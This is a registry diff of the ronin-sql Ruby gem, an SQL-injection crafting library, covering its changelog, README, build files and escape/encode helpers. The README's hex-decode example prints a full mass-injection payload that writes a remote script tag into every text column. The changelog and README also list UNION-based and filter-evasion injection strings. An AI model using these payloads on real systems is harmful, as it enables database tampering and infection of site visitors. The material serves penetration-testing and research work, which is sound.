ronin-sql 0.2.4 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (154) hide show
  1. data/.document +4 -0
  2. data/.gitignore +11 -0
  3. data/.rspec +1 -0
  4. data/.yardopts +1 -0
  5. data/COPYING.txt +623 -288
  6. data/{History.txt → ChangeLog.md} +33 -35
  7. data/Gemfile +25 -0
  8. data/README.md +110 -0
  9. data/Rakefile +30 -20
  10. data/bin/ronin-sql +18 -5
  11. data/gemspec.yml +16 -0
  12. data/lib/ronin/formatting/extensions/sql.rb +4 -3
  13. data/lib/ronin/formatting/extensions/sql/string.rb +83 -10
  14. data/lib/ronin/formatting/sql.rb +4 -3
  15. data/lib/ronin/sql.rb +5 -12
  16. data/lib/ronin/{code/sql/create_index.rb → sql/binary_expr.rb} +25 -18
  17. data/lib/ronin/sql/clause.rb +72 -0
  18. data/lib/ronin/sql/clauses.rb +297 -0
  19. data/lib/ronin/sql/emittable.rb +84 -0
  20. data/lib/ronin/sql/emitter.rb +375 -0
  21. data/lib/ronin/sql/field.rb +106 -0
  22. data/lib/ronin/{code/sql/as.rb → sql/fields.rb} +36 -17
  23. data/lib/ronin/{code/sql/binary_expr.rb → sql/function.rb} +27 -27
  24. data/lib/ronin/sql/functions.rb +989 -0
  25. data/lib/ronin/sql/injection.rb +125 -157
  26. data/lib/ronin/{code/sql/default_values_clause.rb → sql/literal.rb} +13 -11
  27. data/lib/ronin/sql/literals.rb +72 -0
  28. data/lib/ronin/sql/operators.rb +332 -0
  29. data/lib/ronin/sql/sql.rb +86 -0
  30. data/lib/ronin/sql/statement.rb +70 -0
  31. data/lib/ronin/sql/statement_list.rb +110 -0
  32. data/lib/ronin/sql/statements.rb +115 -0
  33. data/lib/ronin/{code/sql/desc.rb → sql/unary_expr.rb} +11 -11
  34. data/lib/ronin/sql/version.rb +5 -4
  35. data/ronin-sql.gemspec +61 -0
  36. data/spec/formatting/sql/string_spec.rb +172 -0
  37. data/spec/spec_helper.rb +1 -4
  38. data/spec/sql/binary_expr.rb +5 -0
  39. data/spec/sql/binary_expr_examples.rb +25 -0
  40. data/spec/sql/clause_examples.rb +43 -0
  41. data/spec/sql/clause_spec.rb +31 -0
  42. data/spec/sql/clauses_spec.rb +43 -0
  43. data/spec/sql/emittable_spec.rb +41 -0
  44. data/spec/sql/emitter_spec.rb +472 -0
  45. data/spec/sql/field_spec.rb +103 -0
  46. data/spec/sql/fields_spec.rb +40 -0
  47. data/spec/sql/function_examples.rb +30 -0
  48. data/spec/sql/function_spec.rb +25 -0
  49. data/spec/sql/functions_spec.rb +110 -0
  50. data/spec/sql/injection_spec.rb +233 -0
  51. data/spec/sql/literal_spec.rb +5 -0
  52. data/spec/sql/literals_spec.rb +46 -0
  53. data/spec/sql/operators_spec.rb +44 -0
  54. data/spec/sql/sql_spec.rb +18 -0
  55. data/spec/sql/statement_examples.rb +39 -0
  56. data/spec/sql/statement_list_spec.rb +48 -0
  57. data/spec/sql/statement_sql.rb +38 -0
  58. data/spec/sql/statements_spec.rb +22 -0
  59. data/spec/sql/unary_expr.rb +5 -0
  60. data/spec/sql/unary_expr_examples.rb +20 -0
  61. metadata +116 -217
  62. data.tar.gz.sig +0 -0
  63. data/Manifest.txt +0 -108
  64. data/README.txt +0 -112
  65. data/lib/ronin/code/sql.rb +0 -22
  66. data/lib/ronin/code/sql/add_column_clause.rb +0 -42
  67. data/lib/ronin/code/sql/alter_table.rb +0 -52
  68. data/lib/ronin/code/sql/asc.rb +0 -36
  69. data/lib/ronin/code/sql/between.rb +0 -66
  70. data/lib/ronin/code/sql/clause.rb +0 -35
  71. data/lib/ronin/code/sql/code.rb +0 -35
  72. data/lib/ronin/code/sql/common_dialect.rb +0 -66
  73. data/lib/ronin/code/sql/create.rb +0 -74
  74. data/lib/ronin/code/sql/create_table.rb +0 -44
  75. data/lib/ronin/code/sql/create_view.rb +0 -41
  76. data/lib/ronin/code/sql/delete.rb +0 -52
  77. data/lib/ronin/code/sql/dialect.rb +0 -282
  78. data/lib/ronin/code/sql/drop.rb +0 -55
  79. data/lib/ronin/code/sql/drop_index.rb +0 -41
  80. data/lib/ronin/code/sql/drop_table.rb +0 -41
  81. data/lib/ronin/code/sql/drop_view.rb +0 -41
  82. data/lib/ronin/code/sql/emittable.rb +0 -100
  83. data/lib/ronin/code/sql/exceptions.rb +0 -24
  84. data/lib/ronin/code/sql/exceptions/unknown_clause.rb +0 -29
  85. data/lib/ronin/code/sql/exceptions/unknown_dialect.rb +0 -29
  86. data/lib/ronin/code/sql/exceptions/unknown_statement.rb +0 -29
  87. data/lib/ronin/code/sql/expr.rb +0 -102
  88. data/lib/ronin/code/sql/field.rb +0 -101
  89. data/lib/ronin/code/sql/fields_clause.rb +0 -46
  90. data/lib/ronin/code/sql/from_clause.rb +0 -42
  91. data/lib/ronin/code/sql/function.rb +0 -53
  92. data/lib/ronin/code/sql/group_by_clause.rb +0 -46
  93. data/lib/ronin/code/sql/having_clause.rb +0 -46
  94. data/lib/ronin/code/sql/in.rb +0 -47
  95. data/lib/ronin/code/sql/injected_statement.rb +0 -100
  96. data/lib/ronin/code/sql/injection.rb +0 -203
  97. data/lib/ronin/code/sql/insert.rb +0 -54
  98. data/lib/ronin/code/sql/intersect_clause.rb +0 -42
  99. data/lib/ronin/code/sql/join_clause.rb +0 -123
  100. data/lib/ronin/code/sql/like.rb +0 -73
  101. data/lib/ronin/code/sql/limit_clause.rb +0 -42
  102. data/lib/ronin/code/sql/modifier.rb +0 -48
  103. data/lib/ronin/code/sql/offset_clause.rb +0 -42
  104. data/lib/ronin/code/sql/on_clause.rb +0 -55
  105. data/lib/ronin/code/sql/order_by_clause.rb +0 -42
  106. data/lib/ronin/code/sql/program.rb +0 -225
  107. data/lib/ronin/code/sql/rename_to_clause.rb +0 -42
  108. data/lib/ronin/code/sql/replace.rb +0 -54
  109. data/lib/ronin/code/sql/select.rb +0 -103
  110. data/lib/ronin/code/sql/set_clause.rb +0 -42
  111. data/lib/ronin/code/sql/statement.rb +0 -180
  112. data/lib/ronin/code/sql/token.rb +0 -62
  113. data/lib/ronin/code/sql/unary_expr.rb +0 -47
  114. data/lib/ronin/code/sql/union_all_clause.rb +0 -42
  115. data/lib/ronin/code/sql/union_clause.rb +0 -42
  116. data/lib/ronin/code/sql/update.rb +0 -52
  117. data/lib/ronin/code/sql/values_clause.rb +0 -46
  118. data/lib/ronin/code/sql/where_clause.rb +0 -42
  119. data/lib/ronin/sql/error.rb +0 -26
  120. data/lib/ronin/sql/error/error.rb +0 -62
  121. data/lib/ronin/sql/error/extensions.rb +0 -22
  122. data/lib/ronin/sql/error/extensions/string.rb +0 -77
  123. data/lib/ronin/sql/error/message.rb +0 -62
  124. data/lib/ronin/sql/error/pattern.rb +0 -104
  125. data/lib/ronin/sql/error/patterns.rb +0 -99
  126. data/lib/ronin/sql/extensions.rb +0 -22
  127. data/lib/ronin/sql/extensions/uri.rb +0 -22
  128. data/lib/ronin/sql/extensions/uri/http.rb +0 -107
  129. data/spec/code/sql/common_dialect_spec.rb +0 -205
  130. data/spec/code/sql/create_examples.rb +0 -19
  131. data/spec/code/sql/create_index_spec.rb +0 -25
  132. data/spec/code/sql/create_table_spec.rb +0 -27
  133. data/spec/code/sql/create_view_spec.rb +0 -16
  134. data/spec/code/sql/delete_spec.rb +0 -14
  135. data/spec/code/sql/drop_examples.rb +0 -10
  136. data/spec/code/sql/drop_index_spec.rb +0 -16
  137. data/spec/code/sql/drop_table_spec.rb +0 -16
  138. data/spec/code/sql/drop_view_spec.rb +0 -16
  139. data/spec/code/sql/has_default_values_clause_examples.rb +0 -10
  140. data/spec/code/sql/has_fields_clause_examples.rb +0 -15
  141. data/spec/code/sql/has_from_clause_examples.rb +0 -13
  142. data/spec/code/sql/has_values_clause_examples.rb +0 -15
  143. data/spec/code/sql/has_where_clause_examples.rb +0 -15
  144. data/spec/code/sql/insert_spec.rb +0 -21
  145. data/spec/code/sql/replace_spec.rb +0 -21
  146. data/spec/code/sql/select_spec.rb +0 -105
  147. data/spec/code/sql/update_spec.rb +0 -26
  148. data/spec/helpers/code.rb +0 -14
  149. data/spec/sql/error_spec.rb +0 -24
  150. data/spec/sql/extensions/uri/http_spec.rb +0 -34
  151. data/spec/sql_spec.rb +0 -9
  152. data/tasks/spec.rb +0 -10
  153. data/tasks/yard.rb +0 -13
  154. metadata.gz.sig +0 -0
@@ -1,4 +1,22 @@
1
- === 0.2.4 / 2009-09-24
1
+ ### 1.0.0 / 2013-01-21
2
+
3
+ * Require [Ruby] >= 1.9.1.
4
+ * No longer require ronin.
5
+ * No longer require ronin-web.
6
+ * Added {String#sql_unescape}.
7
+ * Moved {String#sql_escape}, {String#sql_encode} and {String#sql_decode}
8
+ from [ronin-support].
9
+ * Refactored the {Ronin::SQL SQL} DSL to be more like
10
+ [ARel](https://github.com/rails/arel#readme).
11
+ * Moved the DSL from `Ronin::Code::SQL` into {Ronin::SQL}.
12
+ * Removed `Ronin::SQL::Error`.
13
+ * Removed `String#sql_error`.
14
+ * Removed `String#sql_error?`.
15
+ * Removed `URI::HTTP.has_sql_errors?`.
16
+ * Removed `URI::HTTP.sql_error`.
17
+ * Removed `URI::HTTP.sql_errors`.
18
+
19
+ ### 0.2.4 / 2009-09-24
2
20
 
3
21
  * Require ronin >= 0.3.0.
4
22
  * Require ronin-web >= 0.2.0.
@@ -9,7 +27,7 @@
9
27
  * Fixed a formatting issue in the README.txt file, which was causing RDoc
10
28
  to crash.
11
29
 
12
- === 0.2.3 / 2009-07-02
30
+ ### 0.2.3 / 2009-07-02
13
31
 
14
32
  * Use Hoe >= 2.0.0.
15
33
  * Require ronin >= 0.2.4.
@@ -18,18 +36,18 @@
18
36
  Ronin::SQL::Injection objects for URI::HTTP urls.
19
37
  * Added more specs.
20
38
 
21
- === 0.2.2 / 2009-01-22
39
+ ### 0.2.2 / 2009-01-22
22
40
 
23
41
  * Depend on the new ronin-web library.
24
42
  * Replace Hpricot with Nokogiri.
25
43
  * Use the new Ronin::Web::Spider, instead of directly using Spidr.
26
44
  * Use the new Nokogiri extensions from ronin-web.
27
45
 
28
- === 0.2.1 / 2009-01-09
46
+ ### 0.2.1 / 2009-01-09
29
47
 
30
48
  * Added missing files to the Manifest.
31
49
 
32
- === 0.2.0 / 2009-01-08
50
+ ### 0.2.0 / 2009-01-08
33
51
 
34
52
  * Require Ronin >= 0.1.3.
35
53
  * Refactored Ronin::Code::SQL.
@@ -38,48 +56,28 @@
38
56
  * Support common SQL clauses.
39
57
  * Allow for injecting arbitrary SQL clauses.
40
58
  * Added more SQL Injection test generators.
41
- * all_rows:
42
-
43
- OR 1 = 1
44
-
45
- * exact_rows:
46
-
47
- AND 1 = 1
48
-
49
- * no_rows:
50
-
51
- AND 1 = 0
52
-
53
- * has_column?(column):
54
-
55
- OR column IS NOT NULL
56
-
57
- * has_table?(table):
58
-
59
- AND (SELECT FROM table count(*) == 1)
60
-
61
- * uses_column?(column):
62
-
63
- GROUP BY column HAVING 1 = 1
64
-
65
- * uses_table?(table):
66
-
67
- OR table IS NOT NULL
68
-
59
+ * all_rows: `OR 1 = 1`
60
+ * exact_rows: `AND 1 = 1`
61
+ * no_rows: `AND 1 = 0`
62
+ * has_column?(column): `OR column IS NOT NULL`
63
+ * has_table?(table): `AND (SELECT FROM table count(*) == 1)`
64
+ * uses_column?(column): `GROUP BY column HAVING 1 = 1`
65
+ * uses_table?(table): `OR table IS NOT NULL`
69
66
  * Removed references to Ronin::Vulnerable.
70
67
  * Added more specs:
71
68
  * Specs for most of Ronin::Code::SQL.
72
69
  * Specs on Ronin::SQL::Error and the SQL encoding/decoding extensions for
73
70
  the String class.
74
71
 
75
- === 0.1.1 / 2008-09-28
72
+ ### 0.1.1 / 2008-09-28
76
73
 
77
74
  * Trivial bug fix to URI::HTTP#sql_errors.
78
75
 
79
- === 0.1.0 / 2007-12-23
76
+ ### 0.1.0 / 2007-12-23
80
77
 
81
78
  * Initial release.
82
79
  * Supports SQL code generation.
83
80
  * Supports obfustication of SQL code.
84
81
  * Supports SQL Injection code generation.
85
82
 
83
+ [Ruby]: http://www.ruby-lang.org/
data/Gemfile ADDED
@@ -0,0 +1,25 @@
1
+ source 'https://rubygems.org'
2
+
3
+ RONIN_URI = 'http://github.com/ronin-ruby'
4
+
5
+ gemspec
6
+
7
+ gem 'jruby-openssl', '~> 0.7', :platforms => :jruby
8
+
9
+ # Ronin dependencies:
10
+ # gem 'ronin-support', '~> 0.6', :git => "#{RONIN_URI}/ronin-support.git"
11
+ # gem 'ronin', '~> 1.5.0', :git => "#{RONIN_URI}/ronin.git"
12
+
13
+ group :development do
14
+ gem 'rake', '~> 10.0'
15
+ gem 'kramdown', '~> 0.12'
16
+
17
+ gem 'ripl', '~> 0.3'
18
+ gem 'ripl-multi_line', '~> 0.2'
19
+ gem 'ripl-auto_indent', '~> 0.1'
20
+ gem 'ripl-short_errors', '~> 0.1'
21
+ gem 'ripl-color_result', '~> 0.3'
22
+
23
+ gem 'rubygems-tasks', '~> 0.1'
24
+ gem 'rspec', '~> 2.4'
25
+ end
data/README.md ADDED
@@ -0,0 +1,110 @@
1
+ # Ronin SQL
2
+
3
+ * [Source](https://github.com/ronin-ruby/ronin-sql)
4
+ * [Issues](https://github.com/ronin-ruby/ronin-sql/issues)
5
+ * [Documentation](http://rubydoc.info/github/ronin-ruby/ronin-sql/frames)
6
+ * [Mailing List](https://groups.google.com/group/ronin-ruby)
7
+ * [irc.freenode.net #ronin](http://webchat.freenode.net/?channels=ronin&uio=Mj10cnVldd)
8
+
9
+ ## Description
10
+
11
+ {Ronin::SQL} is a Ruby DSL for crafting SQL Injections (SQLi).
12
+
13
+ ### Features
14
+
15
+ * Provides convenience methods for encoding/decoding SQL data.
16
+ * Provides an Domain Specific Language (DSL) for crafting normal SQL and
17
+ SQL injections.
18
+
19
+ ## Examples
20
+
21
+ ### Convenience Methods
22
+
23
+ Escape a String:
24
+
25
+ "O'Brian".sql_escape
26
+ # => "'O''Brian'"
27
+
28
+ Unescapes a SQL String:
29
+
30
+ "'O''Brian'".sql_unescape
31
+ # => "O'Briand"
32
+
33
+ Hex encode a String:
34
+
35
+ "exploit".sql_encode
36
+ # => "0x6578706c6f6974"
37
+
38
+ Hex decode a String:
39
+
40
+ string = "4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72"
41
+ string.sql_decode
42
+ # => "DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''+['+@C+'] where '+@C+' not like ''%\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor"
43
+
44
+ ### SQLi DSL
45
+
46
+ Injecting a `1=1` test into a String value:
47
+
48
+ sqli = Ronin::SQL::Injection.new(:escape => :string)
49
+ sqli.or { string(1) == string(1) }
50
+ puts sqli
51
+ # 1' OR '1'='1
52
+
53
+ Columns:
54
+
55
+ sqli = Ronin::SQL::Injection.new
56
+ sqli.and { admin == 1 }
57
+ puts sqli
58
+ # 1 AND admin=1
59
+
60
+ Clauses:
61
+
62
+ sqli = Ronin::SQL::Injection.new
63
+ sqli.or { 1 == 1 }.limit(0)
64
+ puts sqli
65
+ # 1 AND admin=1
66
+
67
+ Statements:
68
+
69
+ sqli = Ronin::SQL::Injection.new
70
+ sqli.union { select(1,2,3,4,id).from(users) }
71
+ puts sqli
72
+ # 1 UNION SELECT (1,2,3,4,id) FROM users
73
+
74
+ Filter evasion:
75
+
76
+ sqli = Ronin::SQL::Injection.new
77
+ sqli.union { select(1,2,3,4,id).from(users) }
78
+ puts sqli.to_sql(:space => '/**/')
79
+ # 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users
80
+
81
+ ## Requirements
82
+
83
+ * [Ruby] >= 1.9.1
84
+
85
+ ## Install
86
+
87
+ $ gem install ronin-sql
88
+
89
+ ## License
90
+
91
+ Ronin SQL - A Ruby DSL for crafting SQL Injections.
92
+
93
+ Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
94
+
95
+ This file is part of Ronin SQL.
96
+
97
+ Ronin Asm is free software: you can redistribute it and/or modify
98
+ it under the terms of the GNU General Public License as published by
99
+ the Free Software Foundation, either version 3 of the License, or
100
+ (at your option) any later version.
101
+
102
+ Ronin Asm is distributed in the hope that it will be useful,
103
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
104
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
105
+ GNU General Public License for more details.
106
+
107
+ You should have received a copy of the GNU General Public License
108
+ along with Ronin Asm. If not, see <http://www.gnu.org/licenses/>.
109
+
110
+ [Ruby]: http://www.ruby-lang.org
data/Rakefile CHANGED
@@ -1,26 +1,36 @@
1
- # -*- ruby -*-
2
-
3
1
  require 'rubygems'
4
- require 'hoe'
5
- require 'hoe/signing'
6
- require './tasks/spec.rb'
7
- require './tasks/yard.rb'
8
2
 
9
- Hoe.spec('ronin-sql') do
10
- self.rubyforge_name = 'ronin'
11
- self.developer('Postmodern','postmodern.mod3@gmail.com')
12
- self.remote_rdoc_dir = 'docs/ronin-sql'
13
- self.extra_deps = [
14
- ['ronin', '>=0.3.0'],
15
- ['ronin-web', '>=0.2.0']
16
- ]
3
+ begin
4
+ require 'bundler'
5
+ rescue LoadError => e
6
+ warn e.message
7
+ warn "Run `gem install bundler` to install Bundler."
8
+ exit e.status_code
9
+ end
17
10
 
18
- self.extra_dev_deps = [
19
- ['rspec', '>=1.2.8'],
20
- ['yard', '>=0.2.3.5']
21
- ]
11
+ begin
12
+ Bundler.setup(:development)
13
+ rescue Bundler::BundlerError => e
14
+ warn e.message
15
+ warn "Run `bundle install` to install missing gems"
16
+ exit e.status_code
17
+ end
18
+
19
+ require 'rake'
22
20
 
23
- self.spec_extras = {:has_rdoc => 'yard'}
21
+ require 'rubygems/tasks'
22
+ Gem::Tasks.new(:sign => {:checksum => true, :pgp => true}) do |tasks|
23
+ tasks.console.command = 'ripl'
24
+ tasks.console.options = %w[
25
+ -rripl/multi_line
26
+ -rripl/auto_indent
27
+ -rripl/color_result
28
+ ]
24
29
  end
25
30
 
26
- # vim: syntax=Ruby
31
+ require 'rspec/core/rake_task'
32
+ RSpec::Core::RakeTask.new
33
+ task :default => :spec
34
+
35
+ require 'yard'
36
+ YARD::Rake::YardocTask.new
data/bin/ronin-sql CHANGED
@@ -2,13 +2,26 @@
2
2
 
3
3
  require 'rubygems'
4
4
 
5
- lib_dir = File.expand_path(File.join(File.dirname(__FILE__),'..','lib'))
6
- unless $LOAD_PATH.include?(lib_dir)
7
- $LOAD_PATH << lib_dir
5
+ root_dir = File.expand_path(File.join(File.dirname(__FILE__),'..'))
6
+ if File.directory?(File.join(root_dir,'.git'))
7
+ Dir.chdir(root_dir) do |path|
8
+ require 'bundler'
9
+
10
+ begin
11
+ Bundler.setup(:default)
12
+ rescue Bundler::BundlerError => e
13
+ STDERR.puts e.message
14
+ STDERR.puts "Run `bundle install` to install missing gems"
15
+ exit e.status_code
16
+ end
17
+ end
8
18
  end
9
19
 
10
- require 'ronin/ui/command_line/commands/console'
20
+ lib_dir = File.join(root_dir,'lib')
21
+ $LOAD_PATH << lib_dir unless $LOAD_PATH.include?(lib_dir)
22
+
11
23
  require 'ronin/ui/console'
24
+ require 'ronin/ui/command_line/commands/console'
12
25
 
13
26
  Ronin::UI::Console.auto_load << 'ronin/sql'
14
- Ronin::UI::CommandLine::Commands::Console.start
27
+ Ronin::UI::CLI::Commands::Console.start
data/gemspec.yml ADDED
@@ -0,0 +1,16 @@
1
+ name: ronin-sql
2
+ summary: A Ruby DSL for crafting SQL Injections.
3
+ description:
4
+ Ronin SQL is a a Ruby DSL for crafting SQL Injections.
5
+
6
+ license: GPL-3
7
+ authors: Postmodern
8
+ email: postmodern.mod3@gmail.com
9
+ homepage: https://github.com/ronin-ruby/ronin-sql
10
+ has_yard: true
11
+
12
+ required_ruby_version: ">= 1.9.1"
13
+
14
+ development_dependencies:
15
+ bundler: ~> 1.0
16
+ yard: ~> 0.8
@@ -1,8 +1,9 @@
1
1
  #
2
- # Ronin SQL - A Ronin library providing support for SQL related security
3
- # tasks.
2
+ # Ronin SQL - A Ruby DSL for crafting SQL Injections.
4
3
  #
5
- # Copyright (c) 2007-2009 Hal Brodigan (postmodern.mod3 at gmail.com)
4
+ # Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
5
+ #
6
+ # This file is part of Ronin SQL.
6
7
  #
7
8
  # This program is free software; you can redistribute it and/or modify
8
9
  # it under the terms of the GNU General Public License as published by
@@ -1,8 +1,9 @@
1
1
  #
2
- # Ronin SQL - A Ronin library providing support for SQL related security
3
- # tasks.
2
+ # Ronin SQL - A Ruby DSL for crafting SQL Injections.
4
3
  #
5
- # Copyright (c) 2007-2009 Hal Brodigan (postmodern.mod3 at gmail.com)
4
+ # Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
5
+ #
6
+ # This file is part of Ronin SQL.
6
7
  #
7
8
  # This program is free software; you can redistribute it and/or modify
8
9
  # it under the terms of the GNU General Public License as published by
@@ -21,12 +22,77 @@
21
22
 
22
23
  class String
23
24
 
25
+ #
26
+ # Escapes an String for SQL.
27
+ #
28
+ # @param [:single, :double, :tick] quotes (:single)
29
+ # Specifies whether to create a single or double quoted string.
30
+ #
31
+ # @return [String]
32
+ # The escaped String.
33
+ #
34
+ # @raise [TypeError]
35
+ # The quotes argument was neither `:single`, `:double` nor `:tick`.
36
+ #
37
+ # @example
38
+ # "O'Brian".sql_escape
39
+ # # => "'O''Brian'"
40
+ #
41
+ # @example Encode with double-quotes:
42
+ # "O'Brian".sql_escape(:double)
43
+ # # => "\"O'Brian\""
44
+ #
45
+ # @api public
46
+ #
47
+ def sql_escape(quotes=:single)
48
+ char = case quotes
49
+ when :single then "'"
50
+ when :double then '"'
51
+ when :tick then '`'
52
+ else
53
+ raise(ArgumentError,"invalid quoting style #{quotes.inspect}")
54
+ end
55
+
56
+ return char + gsub(char,char * 2) + char
57
+ end
58
+
59
+ #
60
+ # Unescapes a SQL String.
61
+ #
62
+ # @return [String]
63
+ # The unescaped String.
64
+ #
65
+ # @raise
66
+ # The String was not quoted with single, double or tick-mark quotes.
67
+ #
68
+ # @example
69
+ # "'O''Brian'".sql_unescape
70
+ # # => "O'Brian"
71
+ #
72
+ # @api public
73
+ #
74
+ # @since 1.0.0
75
+ #
76
+ def sql_unescape
77
+ char = if (self[0] == "'" && self[-1] == "'") then "'"
78
+ elsif (self[0] == '"' && self[-1] == '"') then '"'
79
+ elsif (self[0] == '`' && self[-1] == '`') then '`'
80
+ else
81
+ raise(TypeError,"#{self.inspect} is not properly quoted")
82
+ end
83
+
84
+ return self[1..-2].gsub(char * 2,char)
85
+ end
86
+
24
87
  #
25
88
  # Returns the SQL hex-string encoded form of the String.
26
89
  #
90
+ # @example
27
91
  # "/etc/passwd".sql_encode
28
92
  # # => "0x2f6574632f706173737764"
29
93
  #
94
+ # @api public
95
+ #
30
96
  def sql_encode
31
97
  return '' if empty?
32
98
 
@@ -42,25 +108,32 @@ class String
42
108
  #
43
109
  # Returns the SQL decoded form of the String.
44
110
  #
111
+ # @example
45
112
  # "'Conan O''Brian'".sql_decode
46
113
  # # => "Conan O'Brian"
47
114
  #
48
- # "0x2f6574632f706173737764".sql_decode
115
+ # @example
116
+ # "2f6574632f706173737764".sql_decode
49
117
  # # => "/etc/passwd"
50
118
  #
119
+ # @raise
120
+ # The String is neither hex encoded or SQL escaped.
121
+ #
122
+ # @see #sql_unescape
123
+ #
124
+ # @api public
125
+ #
51
126
  def sql_decode
52
- if ((self[0...2] == '0x') && (length % 2 == 0))
127
+ if (self =~ /^[0-9a-fA-F]{2,}$/ && (length % 2 == 0))
53
128
  raw = ''
54
129
 
55
- self[2..-1].scan(/[0-9a-fA-F]{2}/).each do |hex_char|
56
- raw << hex_char.hex.chr
130
+ scan(/../) do |hex_char|
131
+ raw << hex_char.to_i(16)
57
132
  end
58
133
 
59
134
  return raw
60
- elsif (self[0..0] == "'" && self[-1..-1] == "'")
61
- self[1..-2].gsub(/\\'/,"'").gsub(/''/,"'")
62
135
  else
63
- return self
136
+ sql_unescape
64
137
  end
65
138
  end
66
139